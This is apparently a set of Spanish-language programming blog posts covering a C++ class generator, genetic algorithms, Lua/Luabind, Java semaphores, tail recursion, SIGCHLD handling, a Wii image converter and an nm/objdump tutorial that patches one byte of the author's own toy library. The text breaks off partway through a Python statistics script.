Creación masiva de clases de C++ (u otros lenguajes) mediante plantillas

Esta tarde estaba haciendo pruebas y he tenido que crear unas 30 o 40 clases, por tanto, necesitaba automatizar y mejorar el proceso. Con Visual Studio el tema de crear clases lo veo un infierno, con eclipse la cosa mejora, pero sigue existiendo el problema.

Por tanto os pongo este script que con solo preguntaros 2 cosas por clase, podeis crear clases a gran velocidad. Es obligatorio que cambieis las plantillas a vuestras necesidades. Se podría uasar para cualquier lenguaje, ya que la generación del nombre del fichero es otra plantilla en sí. Queda pendiente sacar la plantilla a un archivo externo. Hay que decir que lo he hecho en menos de 1 hora.

Aquí lo pego, aunque por si se ve mal también dejo un pastebin:

#!/usr/bin/python
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
# 
# Script para generar clases de C++ agilmente
# Requerido: Python 3.x
#
# 1ª vez de uso se creará un script que debe de configurarse según las necesidades
# Esta configuración es global: directorio de salida, autor y formato fecha
# En siguientes ejecuciones solo preguntará interacticamente y en bucle:
# - Nombre de clase
# - Proposito
#
# Para dejar de crear clases poner un nombre de clase en blanco
#
# Las plantillas deben modificarse y adaptarse a las necesidades de cada uno.
# Queda pendiente sacar las plantillas a fichero
#

import os, sys
import configparser
from datetime import date
d = date.today()

# global
TODIR = "."
NAMESPACE = "Dune"
AUTOR = "Ricardo Marmolejo García"
FORMAT_FECHA = "%d/%m/%y"
config_file = "create_class.cfg"

if(not os.path.exists(config_file)):
    # escribir una config por defecto
    config = configparser.ConfigParser()
    config.add_section('create_class')
    config.set('create_class', 'TODIR', "%s" % TODIR)
    config.set('create_class', 'NAMESPACE', "%s" % NAMESPACE)
    config.set('create_class', 'AUTOR', "%s" % AUTOR)
    config.set('create_class', 'FORMAT_FECHA', "%s" % FORMAT_FECHA)

    f = open(config_file, 'w')
    config.write(f)
    f.close()
    
    print("Se ha creado una configuración por defecto en %s." % config_file)
    print("Condigurelo, y vuelva a ejecutar el script.")
    sys.exit(1)

else:
    
    config = configparser.ConfigParser()
    config.read(config_file)
    
    TODIR = config.get('create_class', 'TODIR')
    NAMESPACE = config.get('create_class', 'NAMESPACE')
    AUTOR = config.get('create_class', 'AUTOR')
    FORMAT_FECHA = config.get('create_class', 'FORMAT_FECHA')

# obtener fecha, en el formato especificado
FECHA = d.strftime(FORMAT_FECHA)

salir = False

while not salir:
    
    CLASSNAME = input("Escribe el nombre de la clase (dejelo en blanco si quiere terminar): \n")
    
    if CLASSNAME == "":
        salir = True
        break
    
    PROPOSITO = input("Escriba el propósito de esta clase: \n")
    print("\n")

    '''
    Plantillas:
    
        - template_cpp_namefile: Plantilla que genera el nombre del archivo cpp
        - template_h_namefile: Plantilla que genera el nombre del archivo .h
    
    Campos disponibles:
    
    __NAMESPACE__ = Nombre del namespace original
    __NAMESPACE_UPPER__ = Nombre del namespace en mayusculas (puntos pasan a ser guiones bajos)
    __NAMESPACE_LOWER__ = Nombre del namespace en minusculas (puntos pasan a ser guiones bajos)
    __CLASSNAME__ = Nombre de Clase original
    __CLASSNAME_UPPER__ = Nombre de Clase en mayusculas (puntos pasan a ser guiones bajos)
    __CLASSNAME_LOWER__ = Nombre de Clase en minusculas (puntos pasan a ser guiones bajos)
    '''
    template_cpp_namefile = "__CLASSNAME__.cpp"
    template_h_namefile = "__CLASSNAME__.h"

    '''
    
    Plantillas:
    
        - template_cpp: Plantilla que genera el contenido del cpp
        - template_h: Plantilla que genera el contenido del h
    
    Campos disponibles:
    
    __NAMESPACE__ = Nombre del namespace original
    __NAMESPACE_UPPER__ = Nombre del namespace en mayusculas (puntos pasan a ser guiones bajos)
    __NAMESPACE_LOWER__ = Nombre del namespace en minusculas (puntos pasan a ser guiones bajos)
    __CLASSNAME__ = Nombre de Clase original
    __CLASSNAME_UPPER__ = Nombre de Clase en mayusculas (puntos pasan a ser guiones bajos)
    __CLASSNAME_LOWER__ = Nombre de Clase en minusculas (puntos pasan a ser guiones bajos)
    __FILE__ = Nombre del archivo original
    __FILE_UPPER__ = Nombre del archivo en mayusculas (puntos pasan a ser guiones bajos)
    __FILE_LOWER__ = Nombre del archivo en minusculas (puntos pasan a ser guiones bajos)
    __PROPOSITO__ = Proposito de la clase
    __AUTOR__ = Autor de la clase
    __FECHA__ = Dia, Mes y año del momento de la creación
    '''

    template_h = """//---------------------------------------------------------------------------
// __FILE__
//---------------------------------------------------------------------------

/**
@file __FILE__

__PROPOSITO__

@author __AUTOR__
@date __FECHA__
*/

#ifndef __FILE_UPPER__
#define __FILE_UPPER__

#include "../Component.h"

namespace __NAMESPACE__ {

class __CLASSNAME__ : public Component
{
public:
    __CLASSNAME__();
    virtual ~__CLASSNAME__();
    
public:

    // SERVICIOS DE LA COMPONENTE
    

public:

    /**
    Ejecutado en su primer tick
    */
    virtual void OnCreate();

    /**
    Actualizado intensivamente
    */
    virtual void Update();

    /**
    Actualizado en una frecuencia fija
    */
    virtual void UpdateFixed();

    /**
    Ejecutado antes de su destrucción
    */
    virtual void OnDestroy();

};

} // end namespace __NAMESPACE_UPPER__

#endif __FILE_UPPER__
"""

    template_cpp = """//---------------------------------------------------------------------------
// __FILE__
//---------------------------------------------------------------------------

/**
@file __FILE__

__PROPOSITO__

@author __AUTOR__
@date __FECHA__
*/

#include "../Common.h"
#include "__CLASSNAME__.h"
#include "../Entity.h"

namespace __NAMESPACE__ {

__CLASSNAME__::__CLASSNAME__()
{
    
}

__CLASSNAME__::~__CLASSNAME__()
{
    
}

void __CLASSNAME__::OnCreate()
{
    
}

void __CLASSNAME__::Update()
{
    
}

void __CLASSNAME__::UpdateFixed()
{
    
}

void __CLASSNAME__::OnDestroy()
{
    
}

} // end namespace __NAMESPACE_UPPER__
"""

    # init vars
    NAMESPACE_UPPER = NAMESPACE.upper()
    NAMESPACE_LOWER = NAMESPACE.lower()
    CLASSNAME_UPPER = CLASSNAME.upper()
    CLASSNAME_LOWER = CLASSNAME.lower()
    NAMESPACE_UPPER = NAMESPACE_UPPER.replace(".", "_")
    NAMESPACE_LOWER = NAMESPACE_LOWER.replace(".", "_")
    CLASSNAME_UPPER = CLASSNAME_UPPER.replace(".", "_")
    CLASSNAME_LOWER = CLASSNAME_LOWER.replace(".", "_")

    for newfile in [    [template_cpp_namefile, template_cpp],
                        [template_h_namefile, template_h]       ]:

        FILE = newfile[0]
        FILE = FILE.replace("__NAMESPACE__", NAMESPACE)
        FILE = FILE.replace("__NAMESPACE_UPPER__", NAMESPACE_UPPER)
        FILE = FILE.replace("__NAMESPACE_LOWER__", NAMESPACE_LOWER)
        FILE = FILE.replace("__CLASSNAME__", CLASSNAME)
        FILE = FILE.replace("__CLASSNAME_UPPER__", CLASSNAME_UPPER)
        FILE = FILE.replace("__CLASSNAME_LOWER__", CLASSNAME_LOWER)
        FILE_UPPER = FILE.upper()
        FILE_LOWER = FILE.lower()
        FILE_UPPER = FILE_UPPER.replace(".", "_")
        FILE_LOWER = FILE_LOWER.replace(".", "_")

        generated_file = os.path.join(TODIR, FILE)
        
        if not os.path.exists(generated_file):

            VALUE = newfile[1]
            VALUE = VALUE.replace("__NAMESPACE__", NAMESPACE)
            VALUE = VALUE.replace("__NAMESPACE_UPPER__", NAMESPACE_UPPER)
            VALUE = VALUE.replace("__NAMESPACE_LOWER__", NAMESPACE_LOWER)
            VALUE = VALUE.replace("__CLASSNAME__", CLASSNAME)
            VALUE = VALUE.replace("__CLASSNAME_UPPER__", CLASSNAME_UPPER)
            VALUE = VALUE.replace("__CLASSNAME_LOWER__", CLASSNAME_LOWER)
            VALUE = VALUE.replace("__FILE__", FILE)
            VALUE = VALUE.replace("__FILE_UPPER__", FILE_UPPER)
            VALUE = VALUE.replace("__FILE_LOWER__", FILE_LOWER)
            VALUE = VALUE.replace("__PROPOSITO__", PROPOSITO)
            VALUE = VALUE.replace("__AUTOR__", AUTOR)
            VALUE = VALUE.replace("__FECHA__", FECHA)

            file_cpp = open(generated_file, "w", encoding='utf-8')
            file_cpp.write(VALUE)
            file_cpp.close()
            
            print("%s se ha creado correctamente" % FILE)
            
        else:
            
            print("%s ya existe!, no se ha creado." % FILE)
            
    print("\n")

Algoritmos Genéticos

Buena os pongo otro post interesante (que le puede resultar útil a alquien y no quiero que se pierda) que he puesto en el mismo foro que el post anterior:

A mi me interesa bastante la IA como ya muchos sabreis :D. Hace tiempo que estudie el tema y mola mucho :D

Os dejo un código que hice hace tiempo, parece sencillo, pero tiene bastante teoría detras. Yo siempre uso Python para cacharrear y C++ para implementarlo en serio.

http://pastebin.com/Y0KxMg7X

El problema me lo invente. El objetivo del código:

– Resolver la ecuación: f(x) = A*x^2-4*x-1 . Es decir el coeficiente A es la única variable. B = -4 y C = -1

Teniendo en cuenta:
– f(-10) = 339
– f(0) = -1
– f(10) = 259

Mi idea inicial, era hacer el cromosomo A, B y C pero como tardaba mil años, limite B y C. Y el espacio de soluciones quedo así:

Cromosoma(randomClamp(-10000, 10000), -4, -1)

La solución es 3. Pero se trata de resolverla por AG en lugar de métodos analíticos.

Cada ejecución puede tardar más o menos, mi salida es:
Problema: f(x) = A*x^2-4*x-1 y 3 puntos. Calcular A:
Solucion A = 3.000040 – Con un Error de 0.000063 en 15620 generaciones
Presione una tecla para continuar . . .

Tarda unas 15000 generaciones(que son pocos segundos de computación) debido a que el espacio de soluciones es muy grande y la perturbación es de solo un 5%, por tanto muta relativamente despacio en un espacio muy grande. Una mutación muy grande es casi peor, porque se convierte en busqueda aleatoria pero es más probable que encuentre un optimo global, en cambio si tiene mutaciones pequeñas puede quedarse estancado en un óptimo local como el oso panda XD

Un saludo. Ricardo

 

Cursillo acelerado de Lua + Luabind

Buenas, tras 1000 años sin escribir, hago un paréntesis para pastear un post que he puesto en un foro privado que posiblemente caiga en el olvido, y sería una pena, ya que seguro que el tema le interesa a alguien. El post dice así:

Buenas:

Tras la conversación con Ardían, y gente que he visto en los foros que estáis interesados en aprender Lua/Scripting. Yo tengo bastante experiencia porque lo estoy usando intensivamente para el PFC.

No creo que haga falta evangelizar mucho los beneficios de Lua, se vende por si sólo, pero vamos:
– Es muy rápido. Si una llamada directa a un método hace 2 usos de la pila, haciéndola a través de Lua, puede que aumente a 4 o 6 usos.
– Es más rápido usar el lenguaje a pelo, esta claro, pero hardcodearte todo, es una práctica de programación bastante mala. El poder hacer desacoplamiento de la lógica a cambio de perder una microsegundos por llamada, vale la pena y bastante.
– Aceleras el desarrollo al no tener que necesitar compilar. Ya solo por este motivo, tendrías que usarlo.
– Existe un compilador que lo convierte en bytecode (como java) y supuestamente te acelera la carga inicial, aunque se suele usar más para proteger los scripts. (Yo nunca lo he usado).

Lua es para C, no permite nada de POO, y se basa mucho en la pila, es bastante jodido. Pero con Lua + LuaBind el bindeo del API es muy fácil, permite herencia simple y múltiple, polimorfismo, sobrecarga de operadores, etc, etc … Se usa muchísimo en videojuegos profesionales.

He hecho un código independiente y compilable con un montón de pruebas individuales que abarcan el 90% del día a día con luabind. Estudiaros el tema, porque si lo conocéis, no podréis dejar de vivir sin Lua+Luabind XDD

Os lo paso compilado para Linux, pero lo interesante es el código y los comentarios que he hecho deprisa y corriendo.

De todas formas para compilarlo en Ubuntu/Debian:
sudo apt-get install liblua5.1-0-dev libluabind-dev
make
./main

Un saludo. Ricardo

No se cuento durará el link, asi que lo pongo en pastebin:

main.cpp – http://pastebin.com/b2JBy17Q
test.lua – http://pastebin.com/5v6Dx2JC
Makefile – http://pastebin.com/0NPkQATN

Espero que os sea útil !

Sincronización Pura en Java

Yo no soy muy de Java, pero estoy haciendo la una práctica sobre concurrencia en Java y bueno he tenido que recordar algunas cosas. Me he hecho una implementación de para la sincronización pura entre 2 hilos en Java.

Existen muchas variantes de la explicación del problema del consumidor / productor. Yo para probar la clase SincronizadorPuro he considerado el problema de la siguiente forma.

  • El consumidor va a consumir N veces
  • El productor va a producir N veces
  • Siempre lo deben hacer alternativamente

El recurso de lo que se consume o produce debe ser protegido, y por tanto realmente estamos hablando de comunicación sincronizada, pero realmente el problema que quiero abordar es el de la sincronización pura. Además que solucionar el problema de comunicación es tan simple como hacer sincronizados los metodos get / set del atributo a proteger.

El diagrama de precedencia sería:

A—-> B —-> A —-> B —- …..—->A ——> B

Este diagrama se resuelve con 2 semaforos iniciados a 0 con máximo 1. Que es lo que abstroigo en la clase SincronizacionPura con los métodos: esperar() / avisar() que corresponden al típico wait / signal de los semáforos.

Por ello el algoritmo para A es simplemente:

  • Esperará a B excepto si es la primera iteración.
  • Se ejecuta el código A, en mi ejemplo pone el contador del for en el recurso compartido.
  • Se avisa a B de que ha terminado.

Y analogamente, el algoritmo de B:

  • Primero esperará a A siempre.
  • Ejecuta el código asociado a B, que en mi caso es imprimir el valor del recurso.
  • Se avisa a A excepto en la última iteración.

Código del ejemplo:

package parquetematico;

import java.util.concurrent.Semaphore;

class Productor implements Runnable
{
    int INICIO;
    int FIN;
    int INC;
    Recurso recurso;
    SincronizadorPuro sync_productor;
    SincronizadorPuro sync_consumidor;

    public Productor(int INICIO, int FIN, int INC, Recurso recurso, SincronizadorPuro sync_productor, SincronizadorPuro sync_consumidor)
    {
        this.INICIO = INICIO;
        this.FIN = FIN;
        this.INC = INC;
        this.recurso = recurso;
        this.sync_productor = sync_productor;
        this.sync_consumidor = sync_consumidor;
    }

    public void run()
    {
        int i = INICIO;

        while (i <= FIN)
        {
            if(INICIO != i)
                sync_consumidor.esperar();

            recurso.setX(i);
            System.out.println("produce " + recurso.getX());

            sync_productor.avisar();

            i+=INC;
        }
    }

}

 class Consumidor implements Runnable
 {

    int INICIO;
    int FIN;
    int INC;
    Recurso recurso;
    SincronizadorPuro sync_productor;
    SincronizadorPuro sync_consumidor;

    public Consumidor(int INICIO, int FIN, int INC, Recurso recurso, SincronizadorPuro sync_productor, SincronizadorPuro sync_consumidor)
    {
        this.INICIO = INICIO;
        this.FIN = FIN;
        this.INC = INC;
        this.recurso = recurso;
        this.sync_productor = sync_productor;
        this.sync_consumidor = sync_consumidor;
    }

    public void run()
    {
        int i = INICIO;

        while (i <= FIN)
        {
            sync_productor.esperar();

            System.out.println("consume " + recurso.getX());

            if(FIN != i)
                sync_consumidor.avisar();

            i+=INC;
        }
    }

}

class SincronizadorPuro
{
    Semaphore sync;

    public SincronizadorPuro(int max) {
        // crea un semaforo en (max, max)
        sync = new Semaphore(max);

        // lo dejamos como (0, max)
        for(int i=0 ; i<max ; i++)
        {
            try {
            sync.acquire();
            } catch (InterruptedException e) {}
        }
    }

    /*
     * Pseudo-implementación conceptual
     *
    WAIT / P / ESPERAR / ACQUIRE
    {
        cont--;
        if (cont < 0)
        {
            while (true)
            {
                try
                {
                    wait();
                    break;
                }
                catch (InterruptedException e)
                {
                    if (cont >= 0)
                        break;
                    else
                        continue;
                }
            }
        }
    }
    */
    public void esperar()
    {
        try {
        sync.acquire();
        } catch (InterruptedException e) {}
    }

    /*
     * Pseudo-implementación conceptual
     *
    SIGNAL/ V / AVISAR / RELEASE
    {
        cont++;
        if (cont <= 0)
            notify();
        if (cont > 1)
            cont = 1;
    }
    */
    public void avisar()
    {
        sync.release();
    }

    public int getContador()
    {
        return sync.availablePermits();
    }
}

class Recurso
{
    private int x;

    public Recurso(int x)
    {
        this.x = x;
    }

    public synchronized void setX(int x)
    {
        this.x = x;
    }

    public synchronized int getX()
    {
        return x;
    }

}

public class principal
{

    public static void main(String[] args)
    {
        Recurso r1 = new Recurso(0);
        SincronizadorPuro sync_productor = new SincronizadorPuro(1);
        SincronizadorPuro sync_consumidor = new SincronizadorPuro(1);

        // produce/consume desde 0 hasta 5000 en pasos de 1
        Productor p1 = new Productor(0,5000, 1, r1, sync_productor, sync_consumidor);
        Consumidor c1 = new Consumidor(0,5000, 1, r1, sync_productor, sync_consumidor);
        Thread h1 = new Thread(p1);
        Thread h2 = new Thread(c1);
        h1.start();
        h2.start();
        try
        {
            h1.join();
            h2.join();
        }
        catch(InterruptedException e) {}
    }

}

Benchmark Factorial – Parámetros acumulados

Voy hacer un benckmark de 3 implementaciones de factorial:

Em primer lugar, la implementación más simple y eficiente, por siempre de los jamases, al menos para arquitecturas de Von Newman y monoprocesador:

long factorial_iterativo(long n)
{
	long i, ac = 1;
	for(i=n; i>0; i--)
		ac = ac * i;
	return ac;
}

Despues esta la recursiva lineal, típico ejemplo de recursividad. Fijaos en la linea de la llamada recursiva …

long factorial_recursivo(long n)
{
	if (n == 0)
		return 1;
	else
		return n * factorial_recursivo(n-1);
}

Y esta es la que realmente tenía curiosidad de comparar.  Es un tipo de recursividad que hace que la vuelta en lugar de ser de pila, sea de cola. Es necesario modificar la interfaz y crear una nueva función manejadora que respete la interfaz. Se trata de ir acumulando el resultado como parametro y principalmente que en la linea que se hace la llamada recursiva, solo haya una llamada recursiva.

Esta función, teoricamente implementado en Caml el compilador al pasarlo a código maquina la pasa a iterativa automaticamente. Si esto fuera tambien así en C, podríamos utilizar funciones recursivas, sin miedo a desbordar la pila y sin problemas de redimiento. Y por supuesto ganando la claridad de resolver algunos problemas de naturaleza recursiva.

long _factorial_recursivo_PA(long n, long r)
{
	if (n==0)
		return r;
	else
		return _factorial_recursivo_PA(n-1, n*r);
}

long factorial_recursivo_PA(long n)
{
	return _factorial_recursivo_PA(n, 1);
}

Los resultados son estos:

Sigue leyendo

Señal SIGCHLD – Evitar Zombies

Hace un par de años hice una práctica de sockets, con el típico modelo cliente-servidor donde el servidor da servicio multicliente con fork(). La práctica cumplía los requisitos y los profesores no detectaron problemas.

Realmente la práctica tenía un bug y es que en ocaciones, se quedaban procesos zombies. Realmente el problema es que confie en el código base que nos daban los profesores, que estaba bugeado. Ahora he tenido que reutilizarla para otra asignatura, y ahora ya se cual era el problema.

En sistemas Unix, un proceso puede tener hijos ¬¬, creados mediante fork. Cuando el hijo termina, se envía la señal SIGCHLD al padre. Por defecto, la señal se ignora y se crea un proceso zombie. El padre debe instalar un manipulador de señales para actuar sobre la señal, ese era mi problema. En algunas plataformas Unix, se pueden evitar los zombies explícitamente ignorando la señal SIGCHLD. Sin embargo, instalar un manipulador de señales para SIGCHLD y llamar a wait es la mejor manera de evitar zombies conservando la portabilidad.
El manipulador de la señal:

void sigchld_handler(int s)
{
    while(wait(NULL) > 0);
}

Hay varias funciones o métodos para setear la señal, os pongo 2, el largo(más portable, POSIX) y el corto(desconozco su portabilidad):

    struct sigaction sa;
    sa.sa_handler = sigchld_handler; // manejador

    sigemptyset(&sa.sa_mask);
    sa.sa_flags = SA_RESTART;
    if (sigaction(SIGCHLD, &sa, NULL) == -1)
    {
        perror("Error en sigaction");
        exit(1);
    }

Os dejo la forma más corta y fácil:

signal(SIGCHLD , sigchld_handler);

No hace falta decir que necesitais el “signal.h”

Fuentes: http://es.wikipedia.org/wiki/SIGCHLD

Vuelta al Wiithon y otras cosas

Buenas gente. Llevaba sin actualizar el Wiithon desde antes de navidades (por mi parte, hay un italiano, Carlo Mandelli, que me ayuda en corrección de bugs, respondiendo a todo el mundo en launchpad … un gran tio). Despues, empezaba los examenes de enero, que creo que he aprovado todo, excepto redes que no tuve tiempo de planificarla bien. Estoy especialmente contento por que he aprobado una de las asignaturas que más asco daba, Estadística, aunque despues de estudiarla le he cogido el gusto, especialmente a las binomiales, normales, etc … De hecho tengo ideas para utilizarlo en programación. Pero en fin, el caso es que por fin he acabado los examenes.

Ayer por la tarde publique en la versión de desarrollo (me tire como 3 o 4 horas escribiendo del tirón sin probar si quiera) un convertidor de diferentes tipos de imagenes Wii, ahora mismo solo hay 4 posibles conversiones:

  • ISO -> WBFS
  • ISO -> WDF
  • WBFS -> ISO
  • WDF -> ISO

No tengo intención de dar soporte al formato de Hermes(Ciso), al menos en un futuro cercano debido a que no lo uso, y el WDF lo veo un desarrollo mucho más serio y que me da mucha más confianza como el formato que menos ocupa y por tanto el candidato para almacenar juegos.

El formato WBFS como sabreis, es para USB Loaders que admiten el lanzamiento en particiones FAT, que yo sepa al menos hay 2, el Configurable USB Loader y el GX USBLoader. Yo personalmente prefiero el GX. Con el formato WBFS debeis poner los archivos que os genera la conversión de ISO a WBFS (2 archivos) en unidadFAT://WBFS/, es decir en una carpeta llamada WBFS en el raiz de vuestra unidad externa usb que conectareis a la Wii.

El formato WDF no permite el lanzamiento desde ningún loader ni es válido para grabación (El ISO es el único que sirve para grabar), pero como he dicho es el que más comprime, por tanto es bueno para almacenamiento.

No obstante, yo no abandonaría el WBFS por el FAT todavía. ya que tanto el WBFS como el WDF su estabilidad esta por probar.

Como objetivos inmediatos para siguientes incrementos, y ya pasar a pruebas de estabilidad para lanzar la 1.2 estable, tengo al menos 2:

  • Ventana de dialogo cuando vamos a extraer y configurar allí, el formato de extracción, la carpeta de salida y dar la posibilidad de hacer extracciones masivas de todos los juegos.
  • Otra ventana de dialogo para facilitar la tarea de sincronizar las caratulas que tiene almacenadas Wiithon con la SD. Ya que estas serán las caratulas que realmente veremos en la wii.
  • Añadir 2 columnas más a la lista de juegos:
    • Una banderita para indicar la región del juego: Europa, USA, Japón y Mundo
    • Administrar favoritos, todavía no lo he pensado mucho, pero las opciones son: o poner una estrellita binaria, ME GUSTA / NO ME GUSTA, o en plan ipod: estrellitas de 0 a 5.

Aprovecho el Post para pediros que voteis a Antonio El Gato para Eurovisión:

http://votoseurovision.rtve.es/es/votar.php?id=12141

Os pido que voteis como mienbro de MediaVida desde hace media vida xD. No es coña, empeze con 12 y tengo 24. El WebMaster de MediaVida tambien llamado Pollo o Beavis fue mi maestro en desarrollo Web. Con 14 años andaba haciendo una web de configs de counter strike (cs-config.com) donde llegue a picos de 5000 visitas diarias. Cada vez que tenía dudas con PHP/MYSQL le preguntaba a él, y me ayudaba sin problemas.

Que me sienta parte de la comunidad o que la tenga cierta simpatía no es un buen motivo para pedir voto para eurovisión, la verdad. A mí me gustaría que fuera un Elvis Presley español, pero eso no es posible, por tanto votar al gato es la mejor forma de quitar hierro al asunto y de manifestarnos ante la actual situación de falta de calidad en el arte español.

Este hombre, tiene mucha ilusión por ir, es la tercera vez que se presenta, la primera vez iba a ganar, quedando el chikilicuatre segundo, pero RTVE con un movimeinto de completa manipulación, le quito la gran mayoría de sus votos dejandolo 20 aprox. Con la edad que tiene, no va a tener muchas oportunidades más. Esta tercera vez, va a ser mucho canteo eliminarlo, ya estamos cuartos, y hace muy pocos días estabamos 14º … Creemos que se han unido a nuestra causa 2 comunidades más, elrellano y meristation.

Sigue leyendo

Obtener información de Binarios y librerías compartidas (nm/objdump)

nm – Listado de funciones de un objeto

Si queremos obtener un listado de funciones que tiene un código objeto o una librería compartida se utiliza “nm”, que lo descubrí de casualidad.
Este comando lista todos los símbolos que contiene el código objeto o la librería dinámica.
Por ejemplo vamos a crear una librería dinámica con solo una función llamada “factorial”.
Este es el código:

#include <stdio.h>

int factorial(int n)
{
    return n == 0 ? 1 : n * factorial(n-1);
}

Lo compilo así:

gcc factorial.c -o libfactorial.so -shared -fPIC

Ahora analizamos la librería con el comando “nm”:

nm -D libfactorial.so

Obtenemos esto:

         w _Jv_RegisterClasses
00002010 A __bss_start
         w __cxa_finalize
         w __gmon_start__
00002010 A _edata
00002018 A _end
000004c8 T _fini
00000314 T _init
0000044c T factorial

Vemos que nuestro función en código maquina esta en el offset del archivo 0x44c.
Si leemos el man, obtenemos el significado de los símbolos:

Symbol Type Description
A The symbol’s value is absolute, and will not be changed by further linking.
B Un-initialized data section
D Initialized data section
T Normal code section
U Undefined symbol used but not defined. Dependency on another library.
W Doubly defined symbol. If found, allow definition in another library to resolve dependency.

Las funciones T son las linkables, exceptuando “_fini” y “_init” que son funciones comunes a cualquier librería dinámica. (Esto es una suposición mía, aunque muy lógica por otra parte).

Un ejemplo de código de linkado típico:

#include <stdio.h>

int factorial(int n);

int main()
{
 printf("5! = %d\n", factorial(5));
 return 0;
}

Se compila así:

gcc link.c -o link -L. -lfactorial

Y como la librería no esta en una ruta estándar, se ejecutaría así:

export LD_LIBRARY_PATH="." && ./link
5! = 120

Vamos a probar un código que linke dinamicamente, pero en lugar de el fácil “-lname”, lo haré con el dload, que nos sirve de ejercicio para entender como funcionan las librerías dinámicas. El código es el siguiente:

#include <stdio.h> // para fprintf
#include <stdlib.h> // para exit
#include <dlfcn.h>  // para dlopen, dlsym, dlerror, dlclose

int factorial(int n);

int main(int argc, char **argv)
{
 void *lib_handle;
 int (*factorial)(int);
 int x;
 char *error;

 lib_handle = dlopen("libfactorial.so", RTLD_LAZY);
 if (!lib_handle)
 {
 fprintf(stderr, "%s\n", dlerror());
 exit(1);
 }

 factorial = dlsym(lib_handle, "factorial");
 if ((error = dlerror()) != NULL)
 {
 fprintf(stderr, "%s\n", error);
 exit(1);
 }

 x = factorial(5);
 printf("5! = %d\n",x);

 dlclose(lib_handle);
 return 0;
}

El código hay que mirarlo detenidamente, especialmente el puntero a función, pero por lo demás, es sencillo y se autocomenta.
Se compila así:

gcc -rdynamic -o dlopen dlopen.c -ldl

Probamos el ejecutable:

export LD_LIBRARY_PATH="." && ./dlopen
5! = 120

objdump – Desensamblando de binarios

Con este comando podemos obtener el código en ensamblador a partir del código maquina. El comando es el siguiente:

objdump -d libfactorial.so

Si además lo compilamos introduciendo los símbolos de debugeo (parámetro -g), podemos ver el código en ensamblador combinado con el código fuente. Se añadiría el parametro -S:

objdump -d -S libfactorial.so

Ya sabíamos que nuestra función “factorial” estaba en el offset 0x44c, por tanto lo busco en la salida de objdump y pasteo la salida (en este caso, con símbolos de debugeo):

0000044c <factorial>:
#include <stdio.h>

int factorial(int n)
{
 44c:	55                   	push   %ebp
 44d:	89 e5                	mov    %esp,%ebp
 44f:	53                   	push   %ebx
 450:	83 ec 14             	sub    $0x14,%esp
 453:	e8 ef ff ff ff       	call   447 <__i686.get_pc_thunk.bx>
 458:	81 c3 9c 1b 00 00    	add    $0x1b9c,%ebx
    return n == 0 ? 1 : n * factorial(n-1);
 45e:	83 7d 08 00          	cmpl   $0x0,0x8(%ebp)
 462:	74 14                	je     478 <factorial+0x2c>
 464:	8b 45 08             	mov    0x8(%ebp),%eax
 467:	83 e8 01             	sub    $0x1,%eax
 46a:	89 04 24             	mov    %eax,(%esp)
 46d:	e8 f2 fe ff ff       	call   364 <factorial@plt>
 472:	0f af 45 08          	imul   0x8(%ebp),%eax
 476:	eb 05                	jmp    47d <factorial+0x31>
 478:	b8 01 00 00 00       	mov    $0x1,%eax
}
 47d:	83 c4 14             	add    $0x14,%esp
 480:	5b                   	pop    %ebx
 481:	5d                   	pop    %ebp
 482:	c3                   	ret

Con el poco ensamblador que me enseñan en la uni, puedo deducir los siguientes offsets:

45e: Es la comparación de n con 0
462: Si la igualdad anterior se cumple, salta a la línea 44c + 2c = 478
478: Es el interior del IF, iguala el parámetro que viene de la pila con 1. Definiendo 0! = 1
464: Se ejecutaría si la comparación de 45e no se da. Se asigna la vuelta de la recursión
467: Se resta 1 a n
46a: Se prepara e parámetro n-1 en eax, previo a una llamada.
46d: Se hace la llamada recursiva a si mismo.
472: Se multiplica por 8 la vuelta de la recursión.
476: Estamos en el else, por tanto esta jmp se salta el interior del if. 44c + 31 = 47d
47d: De aquí en adelante prepara el return, deja la pila como estaba antes de la llamada y se restaura el IP.

Vamos a hacer algo fácil “crackear”(si se le puede llamar crackeo a esto xD) el programa para cambiar la asignación de:
0!=1 por 0!=4

Por tanto el 5! en lugar de dar 120 va dar 4 veces más, 480.

Para hello abrimos con algún editor de hexadecimal:

ghex2 libfactorial.so

Vamos al OFFSET 479 (478 + 1) y cambiamos el 01 por 04.

Hacemos la prueba de fuego:

export LD_LIBRARY_PATH="." && ./dlopen

Y efectivamente:

5! = 480

OuYeah!


Bueno con esto acabo, este articulo es sobre todo didáctico por lo que si alguno puede completar más el articulo con sus comentarios, se le agradeceremos todos.

Fuentes:
http://www.yolinux.com/TUTORIALS/LibraryArchives-StaticAndDynamic.html
http://unixhelp.ed.ac.uk/CGI/man-cgi?nm
http://node1.yo-linux.com/cgi-bin/man2html?cgi_command=ld
http://node1.yo-linux.com/cgi-bin/man2html?cgi_command=ldconfig

Programar, para estudiar Estadística

Debido a que estadística es algo que me aburre sumamente, he encontrado un método de aprender entreteniéndome, programarme todos los algoritmos que voy viendo en clase.

He hecho una clase de estadística que dada una distribución en una lista de python y su correspondiente frecuencia absoluta, tambíen dada en otra lista, (obviamente de igual dimensión). Con estos 2 datos de entrada podemos llamar al metodo analisis() que nos mostrará todos los datos típicos de la estadistica descriptiva, desde la media hasta curtosis.

Obviamente puede tener fallos, si los detectais decirlo, no obstante cuando tenga tiempo los pruebo contrastando resultados y actualizo si es necesario.

Tambien metí las formulas de combinatoria en sus 7 combinaciones posibles. (premutacion con/sin rep, variación con/sin rep y combinación con/sin rep y una septima, las permutaciones circulares).

#!/usr/bin/python
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
# miércoles, 21 de octubre de 2009

import math
from math import sqrt

##################### GENERAL #############################

def factorial(n):
    if n == 0:
        return 1.0
    else:
        return n * factorial(n-1)
        
def productorio(lista):
    total = 1.0
    for n in lista:
        total *= n
    return total
        
def sumatorio(lista):
    total = 0.0
    for n in lista:
        total += n
    return total

##################### COMBINATORIA #############################

'''
Sí entran todos los elementos.
Sí importa el orden.
No/Si se repiten los elementos.
'''
def permu(n, circular = False):
    if circular:
        return factorial(n-1)
    elif isinstance(n,list):
        return factorial(sumatorio(n)) / productorio(map (lambda x:factorial(x),n))
    else:
        return factorial(n)

'''
No entran todos los elementos.
Sí importa el orden.
No/Si se repiten los elementos.
'''
def varia(n, m, repeticion = False):
    if repeticion:
        return n**m
    else:
        return factorial(n) / factorial(n-m)

'''
No  entran todos los elementos.
No importa el orden.
No/Si se repiten los elementos. 
'''
def combi(n, m, repeticion = False):
    if repeticion:
        return combi(n+m-1,n)
    else:
